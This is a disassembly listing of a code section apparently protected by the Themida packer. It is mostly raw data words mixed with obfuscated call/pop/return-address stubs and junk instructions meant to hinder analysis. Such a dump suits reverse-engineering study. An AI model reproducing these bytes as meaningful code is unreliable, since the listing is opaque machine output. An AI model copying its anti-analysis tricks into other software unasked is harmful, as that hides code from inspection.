dd 0C3574700h, 0AD37696Fh, 0E8D1C233h, 0E983D003h, 89F47504h
dd 12165995h, 0DDA8B06h, 88h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Bh, 0DAC35141h, 9D5E314Bh, 8BDF125Ch
dd 1209A195h, 58D8B06h, 6A061205h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 14042444h, 40000000h, 0E90EC350h
dd 0Bh, 55A7B98Eh, 0F6139330h, 8989F774h, 120095BDh, 0C28B5006h
dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0BB58188Bh, 11C59610h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 26C35343h
dd 4C1BEC0Ch, 9D8B76FAh, 6121B35h, 2121BD83h, 0F000612h
dd 7584h, 27BB6600h, 0B887h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0BF9E6AC3h
dd 2E8D46E6h, 0F70D853h, 181h, 0BD8BF500h, 6121F25h, 4DB58D8Dh
dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
dd 53430000h, 7B9926C3h, 6692881Ch, 0B482CB81h, 1115B529h
dd 0E1FF0612h, 3FD9589h, 0BD830612h, 6121BD9h, 0B1840F00h
dd 6A000004h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 8383C350h, 121BD9BDh, 840F0106h
dd 4A3h, 24582CBFh, 0D9BD837Dh, 306121Bh, 45B860Fh, 0BF660000h
dd 0BD8B64B6h, 61230A9h, 50006A60h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 165E48E0h, 8BC82EE0h
dd 1221C1BDh, 559D8B06h, 66061231h, 6AD98Ch, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0CC78DCC3h
dd 6E9D3h, 48D20000h, 194BE240h, 6A04E180h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 0FD12C350h
dd 0FC90ACEh, 18B84h, 28A0F00h, 8B000000h, 8D858BDFh, 6A061230h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h
dd 45000000h, 9FDAC355h, 0E8F0Fh, 9E90000h, 0C7000000h
dd 701A386Bh, 6FC8BE49h, 0A264D781h, 85337393h, 6123165h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 18C35747h
dd 0A36B90E0h, 8153FC66h, 62DAEFC3h, 0BF665018h, 4899F11h
dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h
dd 0C3564600h, 7FF99F72h, 46B74B72h, 6A006Ah, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0DCE44AC3h
dd 261D9D0Bh, 0B4680612h, 508A01B5h, 0FFE8B52h, 28E0F31h
dd 60000000h, 81585A61h, 4E4B2404h, 6A761Dh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0E863C6C3h
dd 6, 0B2CE69C4h, 10E9600Bh, 0A3000000h, 0DFB23A56h, 0BE261A9Eh
dd 7CA9AB8Fh, 5B6515CDh, 1565BD8Bh, 0D98A0612h, 237995FFh
dd 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 219E94C3h, 89A1999Ch, 15C81285h, 48C0F06h
dd 60000000h, 0E9615F51h, 219h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 14h, 9EC35747h, 6840Fh, 8D890000h
dd 6121545h, 0C80A858Bh, 12E90615h, 19000000h, 10E20F96h
dd 0EADF9E0Ah, 6672709Dh, 869433EDh, 9D2B603Ah, 6121A39h
dd 359D89h, 0C7610612h, 1800h, 5E900h, 0C38E0000h, 8BC9DE27h
dd 15C80EB5h, 0DE8B6606h, 2AB9858Bh, 6A0612h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 6EF3E2C3h
dd 80B7D4B1h, 0B70FE4A2h, 8B0689FBh, 12037D9Dh, 8D858B06h
dd 6A061230h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 52AAC355h, 0DA8DBAF5h, 8B507379h
dd 1215599Dh, 0F605F06h, 0BD8BDAB7h, 61208BDh, 4468961h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0E2C35646h
dd 0F506096h, 87h, 50615A00h, 6688BB66h, 0A99D8B96h, 0FF061221h
dd 15C80AB5h, 0F1BD8B06h, 0E806120Dh, 4, 1F03FFh, 10E9h
dd 28B11A00h, 1985CCCAh, 160696AEh, 9BE51318h, 8B665095h
dd 24448BF9h, 2800F04h, 0B7000000h, 0E9008B02h, 7, 8BC31278h
dd 89737A60h, 60042444h, 9E8h, 94197B00h, 98FB9FA4h, 820FE9F0h
dd 0
; ---------------------------------------------------------------------------
pop edi
jg loc_593CE8
mov edi, 2430080Eh
loc_593CE8: ; CODE XREF: Themida_:00593CDDj
popa
pop eax
push 0
push eax
call sub_593CF5
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_593CF5 proc near ; CODE XREF: Themida_:00593CEDp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_593CF5 endp
; ---------------------------------------------------------------------------
jz short near ptr loc_593D38+5
pop ecx
push edx
sbb byte ptr [edx+66h], 81h
mov esp, 12858D92h
enter 615h, 89h
popf
adc [edx], ebx
adc al, [esi]
push eax
jnp loc_593D25
mov bl, 25h
loc_593D25: ; CODE XREF: Themida_:00593D1Dj
mov [esp], eax
push 0
push edx
call sub_593D33
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_593D33 proc near ; CODE XREF: Themida_:00593D2Bp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
loc_593D38: ; CODE XREF: Themida_:00593D05j
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_593D33 endp
; ---------------------------------------------------------------------------
db 0E7h
dd 3B2BEF9Bh, 0BEE73D4Eh, 237995FFh, 6A0612h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0E6EBBFC3h
dd 3557223Ah, 3DBD89F3h, 8B06121Eh, 1207A1BDh, 6A6106h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 723902C3h, 0DE9EBBB5h, 85C76036h, 6121BD9h, 3, 133DBD8Bh
dd 0BD830612h, 615C812h, 0E840F00h, 80000000h, 21E923E7h
dd 3000000h, 1215ED9Dh, 0C305006h, 11440011h, 10E8C101h
dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 8820Fh, 8B530000h, 121F51BDh
dd 0BD835F06h, 6121BD9h, 0DB850F03h, 6A000004h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 8F0FC356h, 6C173B72h, 0BD8315AAh, 615C812h, 0AB840F00h
dd 6A000004h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 0CD0FC355h, 0C6E07EF6h, 0FFD98B66h
dd 15C812B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1D04h, 0C3524200h, 0D7FCCA38h, 0ECED296Dh, 0BD8BBD6Ah
dd 61218F1h, 185BD29h, 0BD030612h, 6120E81h, 1AA995FFh
dd 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 584358C3h, 0E9369811h, 0Ah, 31660EFBh, 0ED030293h
dd 0B58B39EEh, 615C806h, 6C754B7h, 10001h, 57A430BBh, 5250967Fh
dd 188B0Fh, 12E80000h, 84000000h, 735A8C82h, 200C3AF0h
dd 1FDCA64Ah, 0E58F1852h, 310F5F5Fh, 0D1A1BF66h, 8B50585Ah
dd 816696D8h, 0FF5B32D3h, 15C812B5h, 0C9858906h, 0FF061219h
dd 121C0595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1B04h, 0C3574700h, 1A58265Ch, 5AA1D210h, 6B58BFCh, 0F0615C8h
dd 389h, 0FE8B6600h, 1A5858Bh, 6A0612h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0EF570CC3h
dd 0E9849AF7h, 0Fh, 494DCBD7h, 55203DB1h, 8277EE03h, 89924BCDh
dd 0C486h, 0CD950900h, 8B061226h, 1209A195h, 49952906h
dd 83061206h, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 170424h, 57470000h, 0D86996C3h, 20508936h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 1AC35242h, 0D7772937h
dd 1EAFD77Eh, 0B5858994h, 8D061200h, 15DC6F85h, 8D9D8B06h
dd 8B06122Ch, 121165BDh, 0B8868906h, 0F000000h, 286h, 6A44B300h
dd 31950100h, 0FF06122Ah, 15C812B5h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 7402AAA3h
dd 10E9A063h, 3F000000h, 0A631433Fh, 0BE276309h, 212EAB9Eh
dd 0F17038Ch, 18Dh, 95FFF500h, 61206A5h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 19h, 84C35343h, 3B545F66h
dd 0CE821h, 0D5FE0000h, 478CA502h, 2FAE5055h, 0B589FF7Eh
dd 6122A6Dh, 0C1BD8B5Fh, 50061211h, 9E85250h, 69000000h
dd 0E767C34Eh, 563DF788h, 66310F5Fh, 585ADF8Bh, 6A243489h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 0CB9BC357h, 0BD297AE1h, 612055Dh, 0C812B5FFh
dd 8E0F0615h, 5, 77F78166h, 8195FF9Fh, 6A061202h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 1A6DC350h, 8B13EF13h, 1211C19Dh, 56EF8106h, 830F4571h
dd 122A09BDh, 840F0006h, 58h, 5032DF81h, 0E8500ECDh, 11h
dd 0D942F0CBh, 86335730h, 99945C1Fh, 0D499129h, 0EE9B6h
dd 0B100000h, 0CE39F60Eh, 102D1742h, 3C25D44Fh, 2434895Bh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0A1C35545h
dd 39BD8B2Bh, 0FC061217h, 0C812B5FFh, 6A0615h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 47AF76C3h, 4794729Eh, 48D0Fh, 0BF660000h, 95FFB7F1h
dd 61218C1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 18h, 0B9C35242h, 861363D5h, 0C812B5FFh, 6A0615h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 63022C3h, 65021598h, 0F98B66E3h, 7259531h, 95FF0612h
dd 6121BA1h, 0C46822BBh, 0B1BD8338h, 206121Eh, 4F840Fh
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 858B77C3h, 61203A5h, 5D9D8Bh, 0C60612h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 12624605h, 697C6595h, 5985C776h, 6121Bh, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 87C352h, 0E800D883h, 14h, 9A895DB5h, 0A52A0566h
dd 906A21E4h, 2941C635h, 1E310BE9h, 0EE9h, 73B32400h, 0A0A75E7Bh
dd 527ED8A1h, 5BFC7161h, 297DBD0Bh, 0BCE90612h, 29FFFFF2h
dd 1205858Dh, 6AC18B06h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1B042444h, 40000000h, 9B69C350h, 3707419h
dd 0F550951Bh, 1858D5Fh, 6A06122Eh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0BFC6C353h
dd 0E519D8Bh, 66500612h, 89246EBBh, 0BD8B2404h, 6120DD9h
dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
dd 53430000h, 4525CFC3h, 53AD2E7Fh, 8E941h, 0AC030000h
dd 2063F439h, 0BD09ED3Bh, 6120149h, 6A006Ah, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0ABE989C3h
dd 4089F373h, 8B66265Dh, 3A858DFBh, 6A0616DBh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 8B8AC351h, 5C083D8h, 0D9B70F52h, 8B60505Fh, 5B5053C3h
dd 489615Eh, 0E19D8924h, 6A061211h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 2CA4533Ah
dd 6A33B7h, 5E8h, 4DFB1200h, 95290C79h, 6122061h, 0B595FF5Bh
dd 6A06120Dh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 15042444h, 45000000h, 3502C355h, 2E198589h, 8D8D0612h
dd 615AF02h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 0A2C35747h, 0E44BFF71h, 0D35CECBFh, 618529B7h
dd 0FF061222h, 51006AD1h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1404h, 0C3514100h, 0A9BD89D8h, 0E9061212h
dd 14h, 0FEBD05CBh, 28CC7F33h, 8D9FA65Fh, 5174C8EDh, 86E7D5C5h
dd 7ADBD83h, 0F010612h, 5385h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 8EAF87A7h
dd 8166BAC0h, 0FDA26E3h, 26AFBB7h, 5BFA8A52h, 89BB5190h
dd 5B439A7Dh, 8D0F9050h, 6, 15999D8Bh, 95FF0612h
dd 61206A5h, 99958952h, 5F061205h, 0DCDE9h, 0E800h, 815D0000h
dd 16DB44EDh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1A04h, 0C3504000h, 72869CF8h, 66BB1EACh, 8D6B8DBBh
dd 15943785h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1604h, 0C3564600h, 0BF911B7Fh, 5660C7F5h, 88E0F90h
dd 52000000h, 820Fh, 505F0000h, 11E8h, 4FCF9300h, 2DB8B21Dh
dd 0F45E76FBh, 3793942Eh, 905F0028h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 22C35040h, 313692F4h, 121E0585h
dd 35FF6406h, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_59460F
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59460F proc near ; CODE XREF: Themida_:00594607p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_59460F endp
; ---------------------------------------------------------------------------
mov ch, 66h
or edi, 8964D276h
and eax, 0
mov [ebp+6122B0Dh], edx
inc dword ptr [ebp+6120679h]
push 0FFFFFFFFh
push edx
jmp loc_594646
; ---------------------------------------------------------------------------
dd 0C3F95BA0h
db 0F8h, 0CFh
; ---------------------------------------------------------------------------
loc_594646: ; CODE XREF: Themida_:0059463Bj
pop ebx
push dword ptr [ebp+6122A49h]
push 0
push edx
call sub_594658
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_594658 proc near ; CODE XREF: Themida_:00594650p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_594658 endp
; ---------------------------------------------------------------------------
dd 0A580B0EAh, 0F8B70F82h, 2CB595FFh, 39E90612h, 60000001h
dd 14F99D89h, 0BA660612h, 0B0617C96h, 38E0F00h, 66000000h
dd 70E6F98Bh, 7DEF8166h, 8B71E485h, 121955BDh, 0F613C06h
dd 10B83h, 719D8900h, 0F06121Ch, 0BF60C8B6h, 0BE948DCh
dd 11E8h, 76A44D00h, 151B8331h, 0EAABBA23h, 0F26F6351h
dd 9D8BB78Ah, 6122D4Dh, 6BA6159h, 8B000000h, 59BD8BC1h
dd 0C106120Dh, 0BF0F04E8h, 6860FFBh, 1000000h, 12155995h
dd 0E2F76606h, 9D8BC82Bh, 61219A5h, 63B3D18Bh, 0ABE9h
dd 5E86000h, 16000000h, 8B2923B2h, 0D930BE66h, 38A0F5Eh
dd 0F000000h, 8B61D2B7h, 185h, 0B19D3300h, 0F061201h, 8Bh
dd 7C08300h, 0EE9h, 7DB9700h, 0CDC0F715h, 0BDFDBB11h, 1764DA6h
dd 12013D8Dh, 0C08306h, 6E8h, 0AAEEEC00h, 5B7B2BAFh, 830FD03Bh
dd 16h, 34D38166h, 42E9C2h, 7E90000h, 7F000000h, 9871C5F5h
dd 8D8BB896h, 0FFFFFFFFh, 3318D89h, 0E1830612h, 21840F01h
dd 3000000h, 12137DBDh, 0FFA58306h, 0FEFFFFFFh, 1EED8D01h
dd 95890612h, 1, 0E9D98B66h, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+6165A88h]
push 0
push esi
call sub_5947C5
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5947C5 proc near ; CODE XREF: Themida_:005947BDp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_5947C5 endp
; ---------------------------------------------------------------------------
db 0C5h, 0DAh, 41h
; ---------------------------------------------------------------------------
push 0
adc edi, 7AD9A1F5h
call dword ptr [ebp+61219CDh]
mov ebx, 1D8BDFD5h
mov ecx, 0E97h
push 0
push esi
call sub_5947FB
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5947FB proc near ; CODE XREF: Themida_:005947F3p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_5947FB endp
; ---------------------------------------------------------------------------
db 13h
dd 5CF9AAC8h, 14E82Eh, 0C21D0000h, 98A89D52h, 0E772A317h
dd 0CE4B396Dh, 6E72887Ch, 5E86A62h, 38000000h, 3092F649h
dd 6A98D89h, 5F5F0612h, 89FCE183h, 12150DB5h, 6AFC06h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 152892C3h, 0C02BC652h, 435BD8Bh, 0D22B0612h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0B3C35040h, 0CB6A0AB4h
dd 0E5BD2B76h, 8006120Dh, 33AD06F3h, 3E8D1C2h, 4E983D0h
dd 6AF475h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
dd 53430000h, 9E7BB3C3h, 41B52956h, 5B06120Dh, 880Dh, 0E3816600h
dd 958B8839h, 61209A1h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 0C8C35646h, 6DE6E444h, 0B09C02C2h, 11E9E2h
dd 4D790000h, 867437FFh, 0E3F2FE1Ah, 185F7AB4h, 8B7FA312h
dd 1205058Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1D04h, 0C3574700h, 0E31E249Eh, 579CB740h, 8B50D1FFh
dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 3D7DBF66h
dd 0A131BB66h, 2121BD83h, 0F000612h, 3084h, 0A1858900h
dd 0F061221h, 58Ch, 0AA8CBF00h, 0B833D8h, 0F5000000h, 4DB58D8Dh
dd 8BBF0612h, 8957F2E9h, 12133195h, 81E1FF06h, 0A9E02EF3h
dd 0D9BD8339h, 6121Bh, 494840Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 1DF5BC3h
dd 0E134611Fh, 83DEBF0Fh, 121BD9BDh, 840F0106h, 47Dh, 2B0D9D0Bh
dd 0BD830612h, 6121BD9h, 34860F03h, 6A000004h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 3156C357h, 12347D85h, 9606006h, 12314D95h, 0C5BD2906h
dd 6106122Bh, 6AD98C66h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 70DC350h, 65579227h
dd 8032B726h, 840F04E1h, 18h, 13E9h, 0DD6BF00h, 0A048B20Dh
dd 62F0ABB8h, 505EBA8Ch, 0AB1A5531h, 840FC90Ah, 14Dh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 98C35343h, 24BB1240h
dd 893D3EA5h, 121989BDh, 8D858B06h, 6A061230h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 0A046C357h, 77A80216h, 12E9B98Ch, 24000000h, 82D050B7h
dd 28879AE0h, 0CD60C30h, 0D0E3AEBCh, 33DE8ABFh, 12316585h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 59C6FDDAh, 6690E842h, 5050DF8Bh, 0DA8B6652h
dd 5060310Fh, 5A310F52h, 0D68B6658h, 90585A61h, 2EE99589h
dd 6A0612h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Dh, 72C35242h, 452EC731h, 31E6C08Ah, 0E4BF6613h, 9EE868E2h
dd 14E9D758h, 0C3000000h, 20F1FBA6h, 0CB3D0AF9h, 47E49373h
dd 356C38BDh, 81CDF67Ah, 65172404h, 9D8928C6h, 6121931h
dd 237995FFh, 85890612h, 615C812h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 99C35646h, 38D0BB8Ch, 0CCE92D00h
dd 0F000001h, 689h, 0E9858900h, 29061203h, 121C2DB5h, 0A858B06h
dd 0F0615C8h, 0C82h, 68A0F00h, 0F000000h, 86h, 1800C700h
dd 23000000h, 120E419Dh, 0EB58B06h, 6A0615C8h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
dd 0A529C355h, 3D5D921h, 0E901416Eh, 14E99D0Bh, 858B0612h
dd 6122AB9h, 0B537C381h, 6893507h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 1AC35242h, 2B3EEBD7h, 25BD8B78h
dd 8B061229h, 12308D85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 0D11D7CD9h, 7E87Eh, 0E0C60000h
dd 3F1A81BEh, 259D2974h, 5F061207h, 23859D8Bh, 46890612h
dd 759D8B04h, 9606122Ch, 8B505B57h, 830F96FEh, 5, 70CF8166h
dd 0AB5FF54h, 0E90615C8h, 5, 48DCC96Fh, 0FBBF0F3Ah, 1C4F068h
dd 0E85250F1h, 14h, 988BFBD0h, 0CCA68A0h, 0FB044ED0h, 0EE84894Fh
dd 72C64472h, 0F5FD88Bh, 5E931h, 0F8970000h, 5A7D07B3h
dd 24048158h, 0F1D3F0Fh, 858DDC8Ah, 615C812h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0F8C35040h, 0D19086DAh
dd 0A75889DBh, 13E8h, 78C80100h, 0EE6B2DA8h, 0A87FEFAFh
dd 1CDE30EAh, 0D89D029Dh, 0D6816660h, 5F61D602h, 6870F50h
dd 60000000h, 891BBA66h, 24048961h, 2D299D8Bh, 95FF0612h
dd 6122379h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Bh, 56C35343h, 0B11ADB6Ch, 61CCCA28h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 14h, 0E3C35545h, 1BD985C7h
dd 30612h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 0D9AC23C3h, 8B0CF86Ah, 12BD83FAh
dd 615C8h, 55840Fh, 8C0F0000h, 11h, 0CE9h, 0CDE1F400h
dd 0C0AB28A8h, 35CBFFF1h, 0C781660Fh, 4FE96F3Ah, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 0CB08C351h, 0CE95Ch, 0F5770000h, 0E0ECC34Dh
dd 89441BA4h, 8166BFF3h, 50D722C3h, 110C30h, 0C1011144h
dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh
dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h
dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 5085EDC3h
dd 362371BEh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ch, 29C35646h, 1741ECB2h, 79849222h, 6850Fh, 0BD8B0000h
dd 612118Dh, 5E9F88Bh, 0ED000000h, 6F7AB4Dh, 1BD9BD83h
dd 0F030612h, 40885h, 0FE900h, 0E1C90000h, 9DAEEE08h, 6CC1802Ch
dd 994790ACh, 5E92Ah, 94590000h, 835B8464h, 15C812BDh
dd 840F0006h, 3DDh, 1621B531h, 0B5FF0612h, 615C812h, 6BF38166h
dd 0A5E38119h, 0FF7CE20Eh, 121AA995h, 0B58BF806h, 615C806h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
db 19h, 0
word_594F42 dw 0 ; DATA XREF: ___:off_4387F8o
; ---------------------------------------------------------------------------
inc edx
push edx
retn
; ---------------------------------------------------------------------------
sub eax, 6B94A612h
pop ss
add ebx, 7B165533h
and bx, 78C7h
mov dword ptr [esi], 10001h
xchg eax, esi
mov di, bx
push eax
mov bl, 0Ah
xchg eax, esi
jmp loc_594F7D
; ---------------------------------------------------------------------------
db 44h
dd 0D0718D5Bh, 0D9BBDh, 85827FC9h, 86B3493Fh
; ---------------------------------------------------------------------------
lahf
loc_594F7D: ; CODE XREF: Themida_:00594F66j
push dword ptr [ebp+615C812h]
push 0
push ebp
call sub_594F8E
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_594F8E proc near ; CODE XREF: Themida_:00594F86p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_594F8E endp
; ---------------------------------------------------------------------------
dw 8AB7h
dd 0B06E30DAh, 953DBFC4h, 7E954B8h, 2E000000h, 8496AC0Ah
dd 95FF953Dh, 6121C05h, 12459D8Bh, 12E80612h, 1C000000h
dd 0A9189CEAh, 0E79B5FF3h, 88C7FBBCh, 0C42209D7h, 61605120h
dd 0B58B5F5Fh, 615C806h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 18h, 0FEC35343h, 0F343E152h, 5A9BD33h, 858B0612h
dd 61201A5h, 22DDBD8Bh, 86890612h, 0C4h, 18D59D8Bh, 8B660612h
dd 0A1958BDEh, 6A061209h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 0F9E4C351h, 1259D2Bh
dd 0C2830612h, 25B58904h, 8906122Eh, 6A2050h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0C6C4F8C3h
dd 98089BF2h, 9D0B7C77h, 6120DE9h, 2F45BD8Bh, 858D0612h
dd 615DC6Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ch, 49C35545h, 38450480h, 682E4024h, 0ED9BD8Bh, 86890612h
dd 0B8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Dh, 0E3C35040h, 274AA3EFh, 190CC9BFh, 0D8D2947h, 6A061223h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h
dd 0C3534300h, 0CFE29CF4h, 89177FC4h, 1207919Dh, 12B5FF06h
dd 6A0615C8h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 298CC350h, 9F761A8Eh, 8529139Dh
dd 6121FB9h, 308FABBFh, 0BE92Eh, 5FE60000h, 51BB75D4h
dd 2C64BC22h, 0A595FF59h, 6A061206h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 55A6C355h
dd 0D921A529h, 84A7D781h, 66966DF6h, 0B750F98Bh, 816696AAh
dd 0FFE78CCFh, 15C812B5h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0B97AE6ABh
dd 8B753A6Bh, 121D4D9Dh, 8195FF06h, 83061202h, 122A09BDh
dd 840F0006h, 4Eh, 0DE852h, 0A14C0000h, 2F5AACCh, 0F787BF85h
dd 5BFD6642h, 860F505Bh, 0
; ---------------------------------------------------------------------------
mov [esp], esi
push 0
push esi
call sub_5951FE
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5951FE proc near ; CODE XREF: Themida_:005951F6p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_5951FE endp
; ---------------------------------------------------------------------------
dw 9EF1h
dd 11E0DF74h, 0B531A670h, 6122199h, 4018529h, 0B5FF0612h
dd 615C812h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
